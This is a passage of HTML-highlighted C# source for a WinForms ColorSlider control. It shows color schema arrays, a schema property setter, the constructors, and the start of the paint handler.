/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elapsedInnerColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#endregion<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;Color&nbsp;schemas<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//define&nbsp;own&nbsp;color&nbsp;schemas<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">&#91;,&#93;&nbsp;</span><span style="color: #0000BB">aColorSchema&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">&#91;,&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">White</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Gainsboro</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Silver</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">SkyBlue</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkSlateBlue</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Gainsboro</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkGreen</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Chartreuse<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">},<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">White</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Gainsboro</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Silver</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Red</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkRed</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Gainsboro</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Coral</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">LightCoral<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">},<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">White</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Gainsboro</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Silver</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">GreenYellow</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Yellow</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Gold</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Orange</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">OrangeRed<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">},<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">White</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Gainsboro</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Silver</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Red</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Crimson</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Gainsboro</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkViolet<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Violet<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;};<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">enum&nbsp;ColorSchemas<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">PerlBlueGreen</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">PerlRedCoral</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">PerlGold</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">PerlRoyalColors<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">ColorSchemas&nbsp;colorSchema&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ColorSchemas</span><span style="color: #007700">.</span><span style="color: #0000BB">PerlBlueGreen</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Sets&nbsp;color&nbsp;schema.&nbsp;Color&nbsp;generalization&nbsp;/&nbsp;fast&nbsp;color&nbsp;changing.&nbsp;Has&nbsp;no&nbsp;effect&nbsp;when&nbsp;slider&nbsp;colors&nbsp;are&nbsp;changed&nbsp;manually&nbsp;after&nbsp;schema&nbsp;was&nbsp;applied.&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;New&nbsp;color&nbsp;schema&nbsp;value&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider&nbsp;color&nbsp;schema.&nbsp;Has&nbsp;no&nbsp;effect&nbsp;when&nbsp;slider&nbsp;colors&nbsp;are&nbsp;changed&nbsp;manually&nbsp;after&nbsp;schema&nbsp;was&nbsp;applied."</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">ColorSchemas</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"PerlBlueGreen"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">ColorSchemas&nbsp;ColorSchema<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">colorSchema</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">colorSchema&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">byte&nbsp;sn&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbOuterColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">aColorSchema</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">sn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbInnerColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">aColorSchema</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">sn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbPenColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">aColorSchema</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">sn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barOuterColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">aColorSchema</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">sn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barInnerColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">aColorSchema</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">sn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barPenColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">aColorSchema</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">sn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elapsedOuterColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">aColorSchema</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">sn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">6</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elapsedInnerColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">aColorSchema</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">sn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">7</span><span style="color: #007700">&#93;;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#endregion<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;Constructors<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Initializes&nbsp;a&nbsp;new&nbsp;instance&nbsp;of&nbsp;the&nbsp;&lt;see&nbsp;cref="ColorSlider"/&gt;&nbsp;class.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="min"&gt;The&nbsp;minimum&nbsp;value.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="max"&gt;The&nbsp;maximum&nbsp;value.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="value"&gt;The&nbsp;current&nbsp;value.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">ColorSlider</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;min</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;max</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">InitializeComponent</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SetStyle</span><span style="color: #007700">(</span><span style="color: #0000BB">ControlStyles</span><span style="color: #007700">.</span><span style="color: #0000BB">AllPaintingInWmPaint&nbsp;</span><span style="color: #007700">|&nbsp;</span><span style="color: #0000BB">ControlStyles</span><span style="color: #007700">.</span><span style="color: #0000BB">OptimizedDoubleBuffer&nbsp;</span><span style="color: #007700">|<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ControlStyles</span><span style="color: #007700">.</span><span style="color: #0000BB">ResizeRedraw&nbsp;</span><span style="color: #007700">|&nbsp;</span><span style="color: #0000BB">ControlStyles</span><span style="color: #007700">.</span><span style="color: #0000BB">Selectable&nbsp;</span><span style="color: #007700">|<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ControlStyles</span><span style="color: #007700">.</span><span style="color: #0000BB">SupportsTransparentBackColor&nbsp;</span><span style="color: #007700">|&nbsp;</span><span style="color: #0000BB">ControlStyles</span><span style="color: #007700">.</span><span style="color: #0000BB">UserMouse&nbsp;</span><span style="color: #007700">|<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ControlStyles</span><span style="color: #007700">.</span><span style="color: #0000BB">UserPaint</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">BackColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Transparent</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Minimum&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">min</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Maximum&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">max</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Initializes&nbsp;a&nbsp;new&nbsp;instance&nbsp;of&nbsp;the&nbsp;&lt;see&nbsp;cref="ColorSlider"/&gt;&nbsp;class.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">ColorSlider</span><span style="color: #007700">()&nbsp;:&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">100</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">50</span><span style="color: #007700">)&nbsp;{&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#endregion<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;Paint<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Raises&nbsp;the&nbsp;&lt;see&nbsp;cref="E:System.Windows.Forms.Control.Paint"&gt;&lt;/see&gt;&nbsp;event.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="e"&gt;A&nbsp;&lt;see&nbsp;cref="T:System.Windows.Forms.PaintEventArgs"&gt;&lt;/see&gt;&nbsp;that&nbsp;contains&nbsp;the&nbsp;event&nbsp;data.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">protected&nbsp;</span><span style="color: #0000BB">override&nbsp;void&nbsp;OnPaint</span><span style="color: #007700">(</span><span style="color: #0000BB">PaintEventArgs&nbsp;e</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">Enabled</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">desaturatedColors&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">DesaturateColors</span><span style="color: #007700">(</span><span style="color: #0000BB">thumbOuterColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbInnerColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbPenColor</span><span style="color: #007700">,<br 